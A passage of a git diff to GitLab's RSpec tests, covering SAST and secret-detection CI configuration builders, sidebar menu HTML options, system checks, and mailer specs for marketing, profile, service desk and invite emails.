expect(result[:content]).to eq(sast_yaml_with_no_variables_set_but_analyzers)
end
end
@@ -157,9 +153,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
subject(:result) { described_class.new(auto_devops_enabled, params_with_all_analyzers_enabled, gitlab_ci_content).generate }
- it 'does not write SAST_DEFAULT_ANALYZERS or SAST_EXCLUDED_ANALYZERS' do
- stub_const('Security::CiConfiguration::SastBuildAction::SAST_DEFAULT_ANALYZERS', 'brakeman, flawfinder')
-
+ it 'does not write SAST_EXCLUDED_ANALYZERS' do
expect(result[:content]).to eq(sast_yaml_with_no_variables_set)
end
end
@@ -176,7 +170,6 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
[
{ 'field' => 'stage', 'defaultValue' => 'test', 'value' => 'brand_new_stage' },
{ 'field' => 'SEARCH_MAX_DEPTH', 'defaultValue' => 4, 'value' => 5 },
- { 'field' => 'SAST_ANALYZER_IMAGE_TAG', 'defaultValue' => 2, 'value' => 2 },
{ 'field' => 'SAST_EXCLUDED_PATHS', 'defaultValue' => 'spec, test, tests, tmp', 'value' => 'spec,docs' }
] }
end
@@ -227,27 +220,27 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
def existing_gitlab_ci_and_template_array_without_sast
{ "stages" => %w(test security),
"variables" => { "RANDOM" => "make sure this persists", "SECURE_ANALYZERS_PREFIX" => "localhost:5000/analyzers" },
- "sast" => { "variables" => { "SAST_ANALYZER_IMAGE_TAG" => 2, "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
+ "sast" => { "variables" => { "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
"include" => [{ "template" => "existing.yml" }] }
end
def existing_gitlab_ci_and_single_template_with_sast_and_default_stage
{ "stages" => %w(test),
"variables" => { "SECURE_ANALYZERS_PREFIX" => "localhost:5000/analyzers" },
- "sast" => { "variables" => { "SAST_ANALYZER_IMAGE_TAG" => 2, "SEARCH_MAX_DEPTH" => 1 }, "stage" => "test" },
+ "sast" => { "variables" => { "SEARCH_MAX_DEPTH" => 1 }, "stage" => "test" },
"include" => { "template" => "Security/SAST.gitlab-ci.yml" } }
end
def existing_gitlab_ci_and_single_template_without_sast
{ "stages" => %w(test security),
"variables" => { "RANDOM" => "make sure this persists", "SECURE_ANALYZERS_PREFIX" => "localhost:5000/analyzers" },
- "sast" => { "variables" => { "SAST_ANALYZER_IMAGE_TAG" => 2, "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
+ "sast" => { "variables" => { "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
"include" => { "template" => "existing.yml" } }
end
def existing_gitlab_ci_with_no_variables
{ "stages" => %w(test security),
- "sast" => { "variables" => { "SAST_ANALYZER_IMAGE_TAG" => 2, "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
+ "sast" => { "variables" => { "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
"include" => [{ "template" => "Security/SAST.gitlab-ci.yml" }] }
end
@@ -267,7 +260,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
def existing_gitlab_ci
{ "stages" => %w(test security),
"variables" => { "RANDOM" => "make sure this persists", "SECURE_ANALYZERS_PREFIX" => "bad_prefix" },
- "sast" => { "variables" => { "SAST_ANALYZER_IMAGE_TAG" => 2, "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
+ "sast" => { "variables" => { "SEARCH_MAX_DEPTH" => 1 }, "stage" => "security" },
"include" => [{ "template" => "Security/SAST.gitlab-ci.yml" }] }
end
end
@@ -319,20 +312,6 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
end
end
- describe 'Security::CiConfiguration::SastBuildAction::SAST_DEFAULT_ANALYZERS' do
- subject(:variable) {Security::CiConfiguration::SastBuildAction::SAST_DEFAULT_ANALYZERS}
-
- it 'is sorted alphabetically' do
- sorted_variable = Security::CiConfiguration::SastBuildAction::SAST_DEFAULT_ANALYZERS
- .split(',')
- .map(&:strip)
- .sort
- .join(', ')
-
- expect(variable).to eq(sorted_variable)
- end
- end
-
# stubbing this method allows this spec file to use fast_spec_helper
def fast_auto_devops_stages
auto_devops_template = YAML.safe_load( File.read('lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml') )
@@ -345,7 +324,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
sast:
@@ -364,7 +343,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
sast:
@@ -380,7 +359,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
- security
@@ -402,7 +381,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- build
- test
@@ -437,7 +416,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
- security
@@ -461,7 +440,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
- security
@@ -483,7 +462,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
- security
@@ -506,7 +485,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
- security
@@ -529,7 +508,7 @@ RSpec.describe Security::CiConfiguration::SastBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
- security
diff --git a/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb b/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb
index 31854fcf3a7..f6181c6ef7a 100644
--- a/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb
+++ b/spec/lib/security/ci_configuration/secret_detection_build_action_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
- security
@@ -63,7 +63,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
stages:
- test
variables:
@@ -112,7 +112,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
include:
- template: Security/Secret-Detection.gitlab-ci.yml
CI_YML
@@ -132,7 +132,7 @@ RSpec.describe Security::CiConfiguration::SecretDetectionBuildAction do
# SAST customization: https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings
# Secret Detection customization: https://docs.gitlab.com/ee/user/application_security/secret_detection/#customizing-settings
# Note that environment variables can be set in several places
- # See https://docs.gitlab.com/ee/ci/variables/#priority-of-environment-variables
+ # See https://docs.gitlab.com/ee/ci/variables/#cicd-variable-precedence
include:
- template: Auto-DevOps.gitlab-ci.yml
CI_YML
diff --git a/spec/lib/serializers/json_spec.rb b/spec/lib/serializers/json_spec.rb
index 7054f98a719..0c1801b34f9 100644
--- a/spec/lib/serializers/json_spec.rb
+++ b/spec/lib/serializers/json_spec.rb
@@ -2,7 +2,7 @@
require 'fast_spec_helper'
-RSpec.describe Serializers::JSON do
+RSpec.describe Serializers::Json do
describe '.dump' do
let(:obj) { { key: "value" } }
diff --git a/spec/lib/sidebars/menu_spec.rb b/spec/lib/sidebars/menu_spec.rb
index 7dcf1940442..95009aa063f 100644
--- a/spec/lib/sidebars/menu_spec.rb
+++ b/spec/lib/sidebars/menu_spec.rb
@@ -144,4 +144,50 @@ RSpec.describe Sidebars::Menu do
end
end
end
+
+ describe '#container_html_options' do
+ before do
+ allow(menu).to receive(:title).and_return('Foo Menu')
+ end
+
+ context 'when menu can be rendered' do
+ before do
+ allow(menu).to receive(:render?).and_return(true)
+ end
+
+ context 'when menu has renderable items' do
+ before do
+ menu.add_item(Sidebars::MenuItem.new(title: 'foo1', link: 'foo1', active_routes: { path: 'bar' }))
+ end
+
+ it 'contains the special class' do
+ expect(menu.container_html_options[:class]).to eq 'has-sub-items'
+ end
+
+ context 'when menu already has other classes' do
+ it 'appends special class' do
+ allow(menu).to receive(:extra_container_html_options).and_return(class: 'foo')
+
+ expect(menu.container_html_options[:class]).to eq 'foo has-sub-items'
+ end
+ end
+ end
+
+ context 'when menu does not have renderable items' do
+ it 'does not contain the special class' do
+ expect(menu.container_html_options[:class]).to be_nil
+ end
+ end
+ end
+
+ context 'when menu cannot be rendered' do
+ before do
+ allow(menu).to receive(:render?).and_return(false)
+ end
+
+ it 'does not contain special class' do
+ expect(menu.container_html_options[:class]).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/lib/sidebars/projects/menus/confluence_menu_spec.rb b/spec/lib/sidebars/projects/menus/confluence_menu_spec.rb
index 0ecb328efd1..e3ae3add4fd 100644
--- a/spec/lib/sidebars/projects/menus/confluence_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/confluence_menu_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe Sidebars::Projects::Menus::ConfluenceMenu do
end
context 'when Confluence integration is present' do
- let!(:confluence) { create(:confluence_service, project: project, active: active) }
+ let!(:confluence) { create(:confluence_integration, project: project, active: active) }
context 'when integration is disabled' do
let(:active) { false }
diff --git a/spec/lib/sidebars/projects/menus/external_issue_tracker_menu_spec.rb b/spec/lib/sidebars/projects/menus/external_issue_tracker_menu_spec.rb
index 5d62eebca1c..0585eb2254c 100644
--- a/spec/lib/sidebars/projects/menus/external_issue_tracker_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/external_issue_tracker_menu_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Sidebars::Projects::Menus::ExternalIssueTrackerMenu do
end
context 'when active external issue tracker' do
- let(:external_issue_tracker) { build(:custom_issue_tracker_service, project: project) }
+ let(:external_issue_tracker) { build(:custom_issue_tracker_integration, project: project) }
context 'is present' do
it 'returns true' do
diff --git a/spec/lib/sidebars/projects/menus/learn_gitlab_menu_spec.rb b/spec/lib/sidebars/projects/menus/learn_gitlab_menu_spec.rb
index ef5ae550551..231e5a850c2 100644
--- a/spec/lib/sidebars/projects/menus/learn_gitlab_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/learn_gitlab_menu_spec.rb
@@ -27,7 +27,6 @@ RSpec.describe Sidebars::Projects::Menus::LearnGitlabMenu do
{
class: 'home',
data: {
- track_action: 'click_menu',
track_property: tracking_category,
track_label: 'learn_gitlab'
}
diff --git a/spec/lib/sidebars/projects/menus/packages_registries_menu_spec.rb b/spec/lib/sidebars/projects/menus/packages_registries_menu_spec.rb
index 731dd5eca23..cc4760e69e5 100644
--- a/spec/lib/sidebars/projects/menus/packages_registries_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/packages_registries_menu_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe Sidebars::Projects::Menus::PackagesRegistriesMenu do
- let(:project) { build(:project) }
+ let_it_be(:project) { create(:project) }
+
let(:user) { project.owner }
let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
diff --git a/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb b/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb
index b50bf0f4bf1..748796bc7ee 100644
--- a/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/project_information_menu_spec.rb
@@ -8,6 +8,20 @@ RSpec.describe Sidebars::Projects::Menus::ProjectInformationMenu do
let(:user) { project.owner }
let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
+ describe '#container_html_options' do
+ subject { described_class.new(context).container_html_options }
+
+ specify { is_expected.to match(hash_including(class: 'shortcuts-project-information has-sub-items')) }
+
+ context 'when feature flag :sidebar_refactor is disabled' do
+ before do
+ stub_feature_flags(sidebar_refactor: false)
+ end
+
+ specify { is_expected.to match(hash_including(class: 'shortcuts-project rspec-project-link has-sub-items')) }
+ end
+ end
+
describe 'Menu Items' do
subject { described_class.new(context).renderable_items.index { |e| e.item_id == item_id } }
diff --git a/spec/lib/sidebars/projects/menus/scope_menu_spec.rb b/spec/lib/sidebars/projects/menus/scope_menu_spec.rb
new file mode 100644
index 00000000000..f84d458a2e1
--- /dev/null
+++ b/spec/lib/sidebars/projects/menus/scope_menu_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Menus::ScopeMenu do
+ let(:project) { build(:project) }
+ let(:user) { project.owner }
+ let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
+
+ describe '#container_html_options' do
+ subject { described_class.new(context).container_html_options }
+
+ specify { is_expected.to match(hash_including(class: 'shortcuts-project rspec-project-link')) }
+
+ context 'when feature flag :sidebar_refactor is disabled' do
+ before do
+ stub_feature_flags(sidebar_refactor: false)
+ end
+
+ specify { is_expected.to eq(aria: { label: project.name }) }
+ end
+ end
+end
diff --git a/spec/lib/sidebars/projects/menus/security_compliance_menu_spec.rb b/spec/lib/sidebars/projects/menus/security_compliance_menu_spec.rb
new file mode 100644
index 00000000000..6e84beeb274
--- /dev/null
+++ b/spec/lib/sidebars/projects/menus/security_compliance_menu_spec.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::Projects::Menus::SecurityComplianceMenu do
+ let_it_be(:project) { create(:project) }
+
+ let(:user) { project.owner }
+ let(:show_promotions) { true }
+ let(:show_discover_project_security) { true }
+ let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project, show_promotions: show_promotions, show_discover_project_security: show_discover_project_security) }
+
+ describe 'render?' do
+ subject { described_class.new(context).render? }
+
+ context 'when user is not authenticated' do
+ let(:user) { nil }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when user is authenticated' do
+ context 'when the Security & Compliance is disabled' do
+ before do
+ allow(Ability).to receive(:allowed?).with(user, :access_security_and_compliance, project).and_return(false)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when the Security & Compliance is not disabled' do
+ it { is_expected.to be_truthy }
+ end
+ end
+ end
+end
diff --git a/spec/lib/sidebars/projects/menus/settings_menu_spec.rb b/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
index 88f2df6cd84..6817f0e6ed6 100644
--- a/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
+++ b/spec/lib/sidebars/projects/menus/settings_menu_spec.rb
@@ -3,7 +3,8 @@
require 'spec_helper'
RSpec.describe Sidebars::Projects::Menus::SettingsMenu do
- let(:project) { build(:project) }
+ let_it_be(:project) { create(:project) }
+
let(:user) { project.owner }
let(:context) { Sidebars::Projects::Context.new(current_user: user, container: project) }
diff --git a/spec/lib/sidebars/projects/panel_spec.rb b/spec/lib/sidebars/projects/panel_spec.rb
index 51d37bf69ea..2e79ced7039 100644
--- a/spec/lib/sidebars/projects/panel_spec.rb
+++ b/spec/lib/sidebars/projects/panel_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Sidebars::Projects::Panel do
subject { described_class.new(context).instance_variable_get(:@menus) }
context 'when integration is present and active' do
- let_it_be(:confluence) { create(:confluence_service, active: true) }
+ let_it_be(:confluence) { create(:confluence_integration, active: true) }
let(:project) { confluence.project }
diff --git a/spec/lib/system_check/app/hashed_storage_all_projects_check_spec.rb b/spec/lib/system_check/app/hashed_storage_all_projects_check_spec.rb
index 14bf9d61ab5..4536618ba61 100644
--- a/spec/lib/system_check/app/hashed_storage_all_projects_check_spec.rb
+++ b/spec/lib/system_check/app/hashed_storage_all_projects_check_spec.rb
@@ -1,13 +1,8 @@
# frozen_string_literal: true
require 'spec_helper'
-require 'rake_helper'
-
-RSpec.describe SystemCheck::App::HashedStorageAllProjectsCheck do
- before do
- silence_output
- end
+RSpec.describe SystemCheck::App::HashedStorageAllProjectsCheck, :silence_stdout do
describe '#check?' do
it 'fails when at least one project is in legacy storage' do
create(:project, :legacy_storage)
diff --git a/spec/lib/system_check/app/hashed_storage_enabled_check_spec.rb b/spec/lib/system_check/app/hashed_storage_enabled_check_spec.rb
index 32a2f409858..36c6f0a2be1 100644
--- a/spec/lib/system_check/app/hashed_storage_enabled_check_spec.rb
+++ b/spec/lib/system_check/app/hashed_storage_enabled_check_spec.rb
@@ -1,13 +1,8 @@
# frozen_string_literal: true
require 'spec_helper'
-require 'rake_helper'
-
-RSpec.describe SystemCheck::App::HashedStorageEnabledCheck do
- before do
- silence_output
- end
+RSpec.describe SystemCheck::App::HashedStorageEnabledCheck, :silence_stdout do
describe '#check?' do
it 'fails when hashed storage is disabled' do
stub_application_setting(hashed_storage_enabled: false)
diff --git a/spec/lib/system_check/incoming_email/imap_authentication_check_spec.rb b/spec/lib/system_check/incoming_email/imap_authentication_check_spec.rb
new file mode 100644
index 00000000000..d7a77a84472
--- /dev/null
+++ b/spec/lib/system_check/incoming_email/imap_authentication_check_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+MAIL_ROOM_CONFIG_ENABLED_SAMPLE =
+ ":mailboxes:\n"\
+ " \n"\
+ " -\n"\
+ " :host: \"gitlab.example.com\"\n"\
+ " :port: 143\n"\
+ ""
+
+RSpec.describe SystemCheck::IncomingEmail::ImapAuthenticationCheck do
+ subject(:system_check) { described_class.new }
+
+ describe '#load_config' do
+ subject { system_check.send(:load_config) }
+
+ context 'returns no mailbox configurations with mailroom default configuration' do
+ it { is_expected.to be_nil }
+ end
+
+ context 'returns an array of mailbox configurations with mailroom configured' do
+ before do
+ allow(File).to receive(:read).and_return(MAIL_ROOM_CONFIG_ENABLED_SAMPLE)
+ end
+
+ it { is_expected.to eq([{ host: "gitlab.example.com", port: 143 }]) }
+ end
+ end
+end
diff --git a/spec/lib/system_check/orphans/namespace_check_spec.rb b/spec/lib/system_check/orphans/namespace_check_spec.rb
index 795dfde9029..e764c2313cd 100644
--- a/spec/lib/system_check/orphans/namespace_check_spec.rb
+++ b/spec/lib/system_check/orphans/namespace_check_spec.rb
@@ -1,15 +1,13 @@
# frozen_string_literal: true
require 'spec_helper'
-require 'rake_helper'
-RSpec.describe SystemCheck::Orphans::NamespaceCheck do
+RSpec.describe SystemCheck::Orphans::NamespaceCheck, :silence_stdout do
let(:storages) { Gitlab.config.repositories.storages.reject { |key, _| key.eql? 'broken' } }
before do
allow(Gitlab.config.repositories).to receive(:storages).and_return(storages)
allow(subject).to receive(:fetch_disk_namespaces).and_return(disk_namespaces)
- silence_output
end
describe '#multi_check' do
diff --git a/spec/lib/system_check/orphans/repository_check_spec.rb b/spec/lib/system_check/orphans/repository_check_spec.rb
index 2ab30f4802d..91b48969cc1 100644
--- a/spec/lib/system_check/orphans/repository_check_spec.rb
+++ b/spec/lib/system_check/orphans/repository_check_spec.rb
@@ -1,16 +1,14 @@
# frozen_string_literal: true
require 'spec_helper'
-require 'rake_helper'
-RSpec.describe SystemCheck::Orphans::RepositoryCheck do
+RSpec.describe SystemCheck::Orphans::RepositoryCheck, :silence_stdout do
let(:storages) { Gitlab.config.repositories.storages.reject { |key, _| key.eql? 'broken' } }
before do
allow(Gitlab.config.repositories).to receive(:storages).and_return(storages)
allow(subject).to receive(:fetch_disk_namespaces).and_return(disk_namespaces)
allow(subject).to receive(:fetch_disk_repositories).and_return(disk_repositories)
- # silence_output
end
describe '#multi_check' do
diff --git a/spec/lib/system_check/simple_executor_spec.rb b/spec/lib/system_check/simple_executor_spec.rb
index c9a09d86e32..96d93146d5e 100644
--- a/spec/lib/system_check/simple_executor_spec.rb
+++ b/spec/lib/system_check/simple_executor_spec.rb
@@ -1,9 +1,8 @@
# frozen_string_literal: true
require 'spec_helper'
-require 'rake_helper'
-RSpec.describe SystemCheck::SimpleExecutor do
+RSpec.describe SystemCheck::SimpleExecutor, :silence_stdout do
before do
stub_const('SimpleCheck', Class.new(SystemCheck::BaseCheck))
stub_const('OtherCheck', Class.new(SystemCheck::BaseCheck))
@@ -154,8 +153,6 @@ RSpec.describe SystemCheck::SimpleExecutor do
describe '#execute' do
before do
- silence_output
-
subject << SimpleCheck
subject << OtherCheck
end
diff --git a/spec/lib/system_check_spec.rb b/spec/lib/system_check_spec.rb
index 5ddb2741c4a..8b32eccead6 100644
--- a/spec/lib/system_check_spec.rb
+++ b/spec/lib/system_check_spec.rb
@@ -1,9 +1,8 @@
# frozen_string_literal: true
require 'spec_helper'
-require 'rake_helper'
-RSpec.describe SystemCheck do
+RSpec.describe SystemCheck, :silence_stdout do
before do
stub_const('SimpleCheck', Class.new(SystemCheck::BaseCheck))
stub_const('OtherCheck', Class.new(SystemCheck::BaseCheck))
@@ -19,8 +18,6 @@ RSpec.describe SystemCheck do
false
end
end
-
- silence_output
end
describe '.run' do
diff --git a/spec/mailers/emails/in_product_marketing_spec.rb b/spec/mailers/emails/in_product_marketing_spec.rb
index 3d17e16ef48..74354630ade 100644
--- a/spec/mailers/emails/in_product_marketing_spec.rb
+++ b/spec/mailers/emails/in_product_marketing_spec.rb
@@ -9,6 +9,8 @@ RSpec.describe Emails::InProductMarketing do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
+ let!(:onboarding_progress) { create(:onboarding_progress, namespace: group) }
+
describe '#in_product_marketing_email' do
using RSpec::Parameterized::TableSyntax
@@ -45,29 +47,35 @@ RSpec.describe Emails::InProductMarketing do
end
where(:track, :series) do
- :create | 0
- :create | 1
- :create | 2
- :verify | 0
- :verify | 1
- :verify | 2
- :trial | 0
- :trial | 1
- :trial | 2
- :team | 0
- :team | 1
- :team | 2
+ :create | 0
+ :create | 1
+ :create | 2
+ :verify | 0
+ :verify | 1
+ :verify | 2
+ :trial | 0
+ :trial | 1
+ :trial | 2
+ :team | 0
+ :team | 1
+ :team | 2
+ :experience | 0
end
with_them do
it 'has the correct subject and content' do
- message = Gitlab::Email::Message::InProductMarketing.for(track).new(group: group, series: series)
+ message = Gitlab::Email::Message::InProductMarketing.for(track).new(group: group, user: user, series: series)
aggregate_failures do
is_expected.to have_subject(message.subject_line)
is_expected.to have_body_text(message.title)
is_expected.to have_body_text(message.subtitle)
- is_expected.to have_body_text(CGI.unescapeHTML(message.cta_link))
+
+ if track == :experience
+ is_expected.to have_body_text(CGI.unescapeHTML(message.feedback_link(1)))
+ else
+ is_expected.to have_body_text(CGI.unescapeHTML(message.cta_link))
+ end
end
end
end
diff --git a/spec/mailers/emails/profile_spec.rb b/spec/mailers/emails/profile_spec.rb
index 0ca202aa7be..365ca892bb1 100644
--- a/spec/mailers/emails/profile_spec.rb
+++ b/spec/mailers/emails/profile_spec.rb
@@ -264,7 +264,7 @@ RSpec.describe Emails::Profile do
include_examples 'valid use case'
it_behaves_like 'has the correct subject', /Your SSH key has expired/
- it_behaves_like 'has the correct body text', /Your SSH keys with the following fingerprints have expired/
+ it_behaves_like 'has the correct body text', /SSH keys with the following fingerprints have expired/
end
context 'when invalid' do
@@ -291,7 +291,7 @@ RSpec.describe Emails::Profile do
include_examples 'valid use case'
it_behaves_like 'has the correct subject', /Your SSH key is expiring soon/
- it_behaves_like 'has the correct body text', /Your SSH keys with the following fingerprints are scheduled to expire soon/
+ it_behaves_like 'has the correct body text', /SSH keys with the following fingerprints are scheduled to expire soon/
end
context 'when invalid' do
@@ -337,7 +337,7 @@ RSpec.describe Emails::Profile do
end
it 'mentioned the time' do
- is_expected.to have_body_text current_time.strftime('%Y-%m-%d %l:%M:%S %p %Z')
+ is_expected.to have_body_text current_time.strftime('%Y-%m-%d %H:%M:%S %Z')
end
it 'includes a link to the change password documentation' do
diff --git a/spec/mailers/emails/service_desk_spec.rb b/spec/mailers/emails/service_desk_spec.rb
index 57fa990d399..995e6c006cd 100644
--- a/spec/mailers/emails/service_desk_spec.rb
+++ b/spec/mailers/emails/service_desk_spec.rb
@@ -115,6 +115,16 @@ RSpec.describe Emails::ServiceDesk do
end
end
+ shared_examples 'notification with metric event' do |event_type|
+ it 'adds metric event' do
+ metric_transaction = double('Gitlab::Metrics::WebTransaction', increment: true, observe: true)
+ allow(::Gitlab::Metrics::BackgroundTransaction).to receive(:current).and_return(metric_transaction)
+ expect(metric_transaction).to receive(:add_event).with(event_type)
+
+ subject.content_type
+ end
+ end
+
describe '.service_desk_thank_you_email' do
let_it_be(:reply_in_subject) { true }
let_it_be(:default_text) do
@@ -124,6 +134,7 @@ RSpec.describe Emails::ServiceDesk do
subject { ServiceEmailClass.service_desk_thank_you_email(issue.id) }
it_behaves_like 'read template from repository', 'thank_you'
+ it_behaves_like 'notification with metric event', :service_desk_thank_you_email
context 'handling template markdown' do
context 'with a simple text' do
@@ -164,6 +175,7 @@ RSpec.describe Emails::ServiceDesk do
subject { ServiceEmailClass.service_desk_new_note_email(issue.id, note.id, email) }
it_behaves_like 'read template from repository', 'new_note'
+ it_behaves_like 'notification with metric event', :service_desk_new_note_email
context 'handling template markdown' do
context 'with a simple text' do
diff --git a/spec/mailers/notify_spec.rb b/spec/mailers/notify_spec.rb
index b073b647532..8ee88776107 100644
--- a/spec/mailers/notify_spec.rb
+++ b/spec/mailers/notify_spec.rb
@@ -790,7 +790,7 @@ RSpec.describe Notify do
it_behaves_like 'appearance header and footer not enabled'
it_behaves_like 'does not render a manage notifications link'
- context 'when there is an inviter' do
+ context 'when there is an inviter', :aggregate_failures do
it 'contains all the useful information' do
is_expected.to have_subject "#{inviter.name} invited you to join GitLab"
is_expected.to have_body_text project.full_name
@@ -799,21 +799,16 @@ RSpec.describe Notify do
is_expected.to have_link('Join now', href: invite_url(project_member.invite_token, invite_type: Members::InviteEmailExperiment::INVITE_TYPE))
end
- it 'contains invite link for the avatar' do
- stub_experiments('members/invite_email': :avatar)
+ it 'contains invite link for the group activity' do
+ stub_experiments('members/invite_email': :activity)
+ is_expected.to have_content("#{inviter.name} invited you to join the")
+ is_expected.to have_content('Project details')
+ is_expected.to have_content("What's it about?")
is_expected.not_to have_content('You are invited!')
is_expected.not_to have_body_text 'What is a GitLab'
end
- it 'contains invite link for the avatar' do
